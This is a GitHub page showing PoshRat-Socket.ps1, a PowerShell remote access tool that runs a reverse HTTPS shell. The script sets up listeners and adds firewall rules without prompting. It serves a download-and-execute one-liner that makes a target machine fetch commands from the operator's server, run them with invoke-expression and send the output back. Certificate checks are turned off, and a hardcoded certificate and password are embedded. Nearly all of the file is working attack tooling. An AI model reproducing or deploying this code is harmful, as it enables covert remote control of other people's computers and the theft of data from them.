forked from carnal0wnage/PoshRat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
PoshRat-Socket.ps1
205 lines (146 loc) · 8.68 KB
/
PoshRat-Socket.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
<#
.SYNOPSIS
This script is a minimalist reverse HTTPS Shell
Author: Casey Smith, @subTee
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Version: 1.0
.DESCRIPTION
Provides and Interactive PowerShell prompt via HTTPS
.EXAMPLE
.LINK
.NOTES
iex (New-Object Net.WebClient).DownloadString("http://127.0.0.1/connect")
#>
#Use Makecert to Create Your Own Certificate
<#
makecert.exe -sr localmachine -ss MY -a sha1 -n "CN=PoshRat Root CA" -sky signature -pe -r "Root.cer" -sv "RootKey.pvk"
makecert.exe -sr localmachine -ss MY -a sha1 -n "CN=PoshRat" -sky exchange -pe -ir localmachine -iv "RootKey.pvk" -ic "Root.cer"
Export From LocalMachine Store With Private Key.
Base64 Encode File
$Content = Get-Content -Path File.pvk -Encoding Byte
$Base64Cert = [System.Convert]::ToBase64String($Content)
#>
$Server = '127.0.0.1'
$Base64Cert = 'MIII4wIBAzCCCJ8GCSqGSIb3DQEHAaCCCJAEggiMMIIIiDCCA8EGCSqGSIb3DQEHA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rAfk6OdzufY2u0dcQ3GNCIUBFPiEJf3wRfDH5eGlOIH4pCDjg2zrtl/5+GRF/3wdahURmpI0wISJvTHf+eZj4v8cKxT981TAHzxhpuy53+9+8qGcFikMCG2+/K6JVE7mbXzGuLdYcoZkS1T6hRRQ9Kiju3gx5nGgIN22aFSOtXJdZsr/eLe1uLbT2cmzbvUX5QXs/wFHTfxqCAYOg0zdC/qrQRUDKJ4lQELiVJ8x9Tg0loErUNX79GlvF0e0TKxpJPZYYFLu4MoXeLLrEs1g48DGPIHDKmOQP2hFBTXKD0aVYDk829/NOy0HPAD6CY6ZrwmZm7b69boyF4QdA0aAKAeUuW7CDmKkn0v6zHr3LlbC6Bjf8+00ExPLPDFGFm6GCtbyZywkrymtf78FESdL1rLC5VVTgKCfYxp8X/HTB5QtlpllWEfZ0bq3LHyXND0qV5G/6cTQEBGoePa0xySZ8MV6+QiE4TEy3Zk7tsi2UYrW8BX+zRbhuODezizRJta6xxCr+OY8AWz+6g2pZGctyr0QjiHixh7qAyWC9OU445Tu+wvdeZtJtGsRwtbxmzGaTjaFlTLuwEyYbrRxkYo+36Yp8CFg65IcpreCMVox9igmHDbHMsQdr5FW1dEOnV6xQkHnlf0heygfIFNRRrvzHzwCf/jBm/4ZnfEE27PBNb358ETy7HvtW7gL7clNJx0iATUz6QH3aWdRiTx9op8jAdOTyY99AK8vek+YyOsPLL1jA7MB8wBwYFKw4DAhoEFMQTv4RORuVi4juttRObhcARChafBBTpLslMGebrDYuP89Peo8HGC7sEKgICB9A='
$CertPassword = 'password' #yeah, really.
$CertPinThumbprint = (New-Object System.Security.Cryptography.X509Certificates.X509Certificate2([System.Convert]::FromBase64String($Base64Cert), $CertPassword)).Thumbprint
function Receive-ClientHttpsRequest([System.Net.Sockets.TcpClient] $client)
{
$clientStream = $client.GetStream()
Write-Host "Secure Connect Request Received" -Fore White
$SSLStream = New-Object System.Net.Security.SslStream($clientStream , $false)
$SSLcertfake = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2([System.Convert]::FromBase64String($Base64Cert), $CertPassword)
$SSLThumbprint = $SSLcertfake.Thumbprint
$SSLStream.AuthenticateAsServer($SSLcertfake, $false, [System.Security.Authentication.SslProtocols]::Tls, $false)
$SSLbyteArray = new-object System.Byte[] 8192
[void][byte[]] $SSLbyteClientRequest
do
{
[int] $NumBytesRead = $SSLStream.Read($SSLbyteArray, 0, $SSLbyteArray.Length)
$SSLbyteClientRequest += $SSLbyteArray[0..($NumBytesRead - 1)]
} while ( $clientStream.DataAvailable )
$SSLRequest = [System.Text.Encoding]::UTF8.GetString($SSLbyteClientRequest)
[string[]] $SSLRequestArray = ($SSLRequest -split '[\r\n]') |? {$_}
[string[]] $SSLParse = $SSLRequestArray[0] -split ' '
$SSLMethod = $SSLParse[0]
$SSLURL = $SSLParse[1]
$SSLResponse = "HTTP/1.1 200 OK`r`nContent-Type: text/xml; charset=utf-8`r`nPostRat: DFIR`r`n`r`n"
if ($SSLURL -eq '/rat' -and ($SSLMethod -eq "POST") ) {
Write-Host ([System.Text.Encoding]::Ascii.GetString($SSLbyteClientRequest))
}
if ($SSLUrl -eq '/rat' -and ($SSLMethod-eq "GET")) {
$Command = Read-Host "PS Target>"
$SSLResponse += "$Command"
}
[byte[]] $Buffer = [System.Text.Encoding]::UTF8.GetBytes($SSLResponse)
$SSLStream.Write($Buffer, 0, $Buffer.length)
$Client.Close()
}
$func = {
function Receive-ClientHttpRequest
{
param (
[parameter(Mandatory=$true,ValueFromPipeline=$true)]
[string]$CertPinThumbprint,
[parameter(Mandatory=$true,ValueFromPipeline=$true)]
[string]$Server
)
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://+:80/')
netsh advfirewall firewall delete rule name="PoshRat Connect 80" | Out-Null
netsh advfirewall firewall add rule name="PoshRat Connect 80" dir=in action=allow protocol=TCP localport=80 | Out-Null
$listener.Start()
while ($true) {
$context = $listener.GetContext() # blocks until request is received
$request = $context.Request
$response = $context.Response
#Used For One-Liner Start
if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) {
$message += '$SSLThumbprint = "'+$CertPinThumbprint+'"
function Invoke-CertCheck()
{
$Uri = "https://'+$Server+'/rat"
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$request = [System.Net.HttpWebRequest]::Create($uri)
$request.GetResponse().Dispose()
$servicePoint = $request.ServicePoint
[System.Security.Cryptography.X509Certificates.X509Certificate2]$cert = $servicePoint.Certificate
return $cert.Thumbprint
}
$p = [System.Net.WebRequest]::GetSystemWebProxy()
$s = "https://' + $Server + '/rat"
$w = New-Object Net.WebClient
$w.Proxy = $p
$r = Invoke-CertCheck
do
{
while($r) {
[string]$o = invoke-expression $r | out-string
$w.UploadString($s, $o) | out-null
break
}
$r = $w.DownloadString($s)
} while($true)'
}
[byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
$response.ContentLength64 = $buffer.length
$response.AddHeader("PoshRat", "DFIR")
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
}
}
}
function Main()
{
if($ListenPort)
{
$Port = $ListenPort
}
else
{
$Port = 443
}
$endpoint = New-Object System.Net.IPEndPoint ([system.net.ipaddress]::any, $Port)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
#This sets up a local firewall rule to suppress the Windows "Allow Listening Port Prompt"
netsh advfirewall firewall delete rule name="PoshRat Server $Port" | Out-Null #First Run May Throw Error...Thats Ok..:)
netsh advfirewall firewall add rule name="PoshRat Server $Port" dir=in action=allow protocol=TCP localport=$Port | Out-Null
$listener.Start()
Write-Host "Listening on $Port" -fore Yellow
Write-Host $CertPinThumbprint -fore Yellow
$Client = New-Object System.Net.Sockets.TcpClient
$Client.NoDelay = $true
Start-Job -ScriptBlock {Receive-ClientHttpRequest $args[0] $args[1]} -ArgumentList @($CertPinThumbprint, $Server) -InitializationScript $func
while($true)
{
$Client = $listener.AcceptTcpClient()
if($Client -ne $null)
{
Receive-ClientHttpsRequest $Client
}
}
}
Main